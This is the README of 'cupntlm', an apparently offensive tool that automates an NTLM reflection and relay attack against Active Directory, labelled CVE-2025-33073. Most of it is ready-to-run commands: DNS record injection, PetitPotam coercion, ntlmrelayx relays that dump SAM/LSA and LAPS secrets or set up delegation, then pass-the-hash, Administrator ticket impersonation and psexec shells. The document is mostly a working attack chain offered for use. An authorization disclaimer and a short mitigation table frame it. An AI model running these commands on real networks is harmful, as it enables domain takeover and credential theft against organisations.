
cupntlm
CVE-2025-33073 — Bypass de reflexión NTLM mediante coerción DNS
Herramienta de explotación automatizada para entornos de Active Directory.
cupntlm automatiza la cadena de ataque de reflexión/retransmisión NTLM que abusa de CVE-2025-33073. Combina la inyección de registros DNS, la coerción de autenticación forzada (PetitPotam) y la retransmisión NTLM en un único flujo de trabajo. La herramienta admite dos modos operativos según el alcance y los requisitos de sigilo.
Attacker Domain Controller Target Host
│ │ │
│── 1. Inject DNS record ───────▶│ │
│ (attacker IP as target) │ │
│ │ │
│── 2. Coerce auth (PetitPotam) ─────────────────────────────▶│
│ │ │
│◀─ 3. NTLM auth forwarded back ─────────────────────────────│
│ │ │
│── 4. Relay to DC ─────────────▶│ │
│ (ntlmrelayx) │ │
│ │ │
│◀─ 5. Shell / secretsdump / etc.│ │
Requisitos previos en la red objetivo:
| Librería | Instalación |
|---|---|
impacket | pip3 install impacket --break-system-packages |
colorama | pip3 install colorama --break-system-packages |
dnspython | pip3 install dnspython --break-system-packages |
exploit/
├── cupntlm.py
├── ntlmrelayx.py # from impacket
├── dnstool.py # from krbrelayx
├── lib/ # krbrelayx support library
└── PetitPotam.py
git clone https://github.com/EgCupCake/cupntlm.git
cd cupntlm
sudo bash setup.sh
Comprueba el estado de la firma SMB en los objetivos y valida las credenciales de dominio antes de intentar nada.
cd exploit
sudo python3 cupntlm.py check \
--domain lab.local \
--user pentester \
--pass 'P@ss' \
--dc-ip 10.0.0.1 \
--relay-ip 192.168.1.100
Crea un registro DNS único para cada objetivo, dispara la coerción uno a uno y limpia los registros entre iteraciones. Más lento, pero más preciso y deja menos ruido.
sudo python3 cupntlm.py per-target \
--targets targets.txt \
--domain lab.local \
--user pentester \
--pass 'P@ss' \
--dc-ip 10.0.0.1 \
--relay-ip 192.168.1.100 \
--loot loot.txt
Inyecta un único registro DNS y mantiene ntlmrelayx ejecutándose de forma continua mientras itera por todos los objetivos. Más rápido para ámbitos grandes.
sudo python3 cupntlm.py single \
--targets targets.txt \
--domain lab.local \
--user pentester \
--pass 'P@ss' \
--dc-ip 10.0.0.1 \
--relay-ip 192.168.1.100 \
--loot loot.txt
192.168.1.10
192.168.1.11
192.168.1.12
Los siguientes pasos reproducen manualmente toda la cadena de ataque sin usar cupntlm.py. Útil para comprender las primitivas, depurar o adaptarse a entornos no estándar.
Identifica los hosts donde la firma SMB está deshabilitada. Estos son tus objetivos de retransmisión válidos.
netexec smb 192.168.1.0/24 --gen-relay-list targets_unsigned.txt
O con nmap:
nmap -p 445 --script smb2-security-mode 192.168.1.0/24
Busca:
Message signing enabled but not required ← valid relay target
Message signing enabled and required ← cannot relay here
Usa dnstool.py para añadir un registro A en el DNS del dominio que apunte un nombre de host a tu máquina. Cuando un objetivo resuelve este nombre de host y se autentica, la solicitud llega a tu listener de retransmisión.
cd exploit/
python3 dnstool.py \
-u "lab.local\\pentester" \
-p 'P@ss' \
--action add \
--record 'attacker-relay' \
--data 192.168.45.200 \ # your attacker IP
--type A \
10.0.0.1 # DC IP
Verifica que el registro se añadió:
python3 dnstool.py \
-u "lab.local\\pentester" \
-p 'P@ss' \
--action query \
--record 'attacker-relay' \
10.0.0.1
Inicia ntlmrelayx.py antes de disparar la coerción. Permanecerá a la espera de autenticaciones entrantes.
Retransmisión a SMB — volcar SAM/LSA:
sudo python3 ntlmrelayx.py \
-t smb://192.168.1.100 \
-smb2support \
--no-http-server
Retransmisión a LDAP — crear una nueva cuenta de máquina (para RBCD / shadow credentials):
sudo python3 ntlmrelayx.py \
-t ldap://10.0.0.1 \
--delegate-access \
--no-smb-server \
--no-http-server
Retransmisión a LDAPS — volcar secretos del dominio:
sudo python3 ntlmrelayx.py \
-t ldaps://10.0.0.1 \
--dump-laps \
--no-smb-server \
--no-http-server
Obliga a la máquina objetivo a autenticarse hacia tu registro DNS inyectado. PetitPotam abusa de la interfaz MS-EFSRPC — no se requieren credenciales en hosts sin parchear, o usa credenciales válidas para los parcheados.
Sin autenticación (objetivo sin parchear):
python3 PetitPotam.py \
[dnsname] \ # your listener IP (matches DNS record)
192.168.1.50 # target host to coerce
Autenticado (objetivo parcheado, se requieren credenciales válidas):
python3 PetitPotam.py \
-u pentester \
-p 'P@ss' \
-d lab.local \
[dnsname] \
192.168.1.50
En este punto, el host forzado envía su autenticación NTLM a tu máquina → ntlmrelayx la captura y la retransmite.
Según el objetivo de retransmisión que elegiste en el Paso 3:
<hostname>_samhashes.txt / _lsahashes.txtgetST.py para obtener un ticket de servicioElimina siempre los registros DNS inyectados después de la operación.
python3 dnstool.py \
-u "lab.local\\pentester" \
-p 'P@ss' \
--action remove \
--record 'attacker-relay' \
--data 192.168.45.200 \
--type A \
10.0.0.1
Pass-the-hash con una cuenta de máquina retransmitida:
impacket-secretsdump \
'lab.local/MACHINE$'@10.0.0.1 \
-hashes :aad3b435b51404eeaad3b435b51404ee:<NT_HASH>
Obtener un ticket de servicio para S4U2Self (después de RBCD):
impacket-getST \
-spn cifs/TARGET.lab.local \
-impersonate Administrator \
'lab.local/ATTACKERMACHINE$:password'
Usar el ticket:
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass TARGET.lab.local
| Control | Efecto |
|---|
Esta herramienta está destinada únicamente a pruebas de penetración autorizadas e investigación de seguridad.
No la utilices contra sistemas para los que no tengas permiso explícito por escrito para probar.
| Herramienta | Propósito |
|---|
python3 | Tiempo de ejecución |
pip3 | Administrador de paquetes de Python |
git | Clonado de dependencias |
wget | Descarga de archivos |
nmap | Enumeración de firma SMB |
netexec / crackmapexec | Verificación de firma SMB (opcional) |
| Habilitar la firma SMB (obligatoria) en todos los hosts | Rompe la retransmisión a SMB |
| Habilitar la firma LDAP + enlace de canal | Rompe la retransmisión a LDAP/LDAPS |
| Parchear MS-EFSRPC (KB5005413) | Bloquea PetitPotam sin autenticación |
| Restringir la creación de registros DNS a administradores | Bloquea el paso de inyección DNS |
| Deshabilitar la autenticación de red NTLM (preferir Kerberos) | Elimina toda esta clase de ataque |